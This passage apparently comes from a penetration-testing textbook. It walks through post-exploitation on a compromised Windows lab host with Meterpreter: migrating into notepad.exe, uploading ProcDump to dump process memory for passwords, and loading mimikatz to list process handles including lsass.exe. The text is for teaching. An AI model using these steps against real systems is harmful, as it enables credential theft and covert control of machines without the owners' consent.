Example 6-12. Migrating to the notepad.exe process
meterpreter > run post/windows/manage/migrate
[
*
]
Running module against VAGRANT-2008R2
[
*
]
Current server process: spoolsv.exe
(
984
)
[
*
]
Spawning notepad.exe process to migrate to
[
+
]
Migrating to 6092
[
*
]
New server process: notepad.exe
(
6092
)
meterpreter >
We can also look at dumping processes and recovering them.
This will provide us
with anything that may be in memory while the application is running and allow us
to extract passwords or other sensitive information. To do this, we’re going to
upload
the ProcDump utility from Microsoft’s SysInternals team.
We will get a dump file
from a running process that will capture not only the code of the program but also
the data from the running program. Before we can get the dump file, though, I have
procdump64.exe
staged on my Kali instance so I can upload it. In
Example 6-13
, you
can see
I upload the program I need, which will put it up to the compromised Win‐
dows system for use later. This required that I use the Meterpreter payload, so I had
the upload capability. Without it, I would have to resort to relying on other file trans‐
fer methods.
Example 6-13. Uploading a program using Meterpreter
meterpreter > upload procdump64.exe
[
*
]
uploading : procdump64.exe -> procdump64.exe
[
*
]
uploaded : procdump64.exe -> procdump64.exe
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > mimikatz_command -f handle::list
212
smss.exe -> 80
Process 288
csrss.exe
212
smss.exe -> 84
Process 456
lsm.exe
212
smss.exe -> 88
Process 348
csrss.exe
288
csrss.exe -> 80
Process 340
wininit.exe
288
csrss.exe -> 180
Process 432
services.exe
288
csrss.exe -> 208
Process 448
lsass.exe
288
csrss.exe -> 224
Process 456
lsm.exe
288
csrss.exe -> 336
Process 568
svchost.exe
288
csrss.exe -> 364
Process 332
spoolsv.exe
288
csrss.exe -> 404
Process 644
svchost.exe
288
csrss.exe -> 444
Process 696
svchost.exe
288
csrss.exe -> 516
Process 808
svchost.exe
288
csrss.exe -> 564
Process 868
svchost.exe
288
csrss.exe -> 588
Process 912
svchost.exe
You’ll see that after the program was uploaded, I loaded
mimikatz
again. While there
are other
ways to achieve what I need, I wanted to demonstrate this. The reason is we
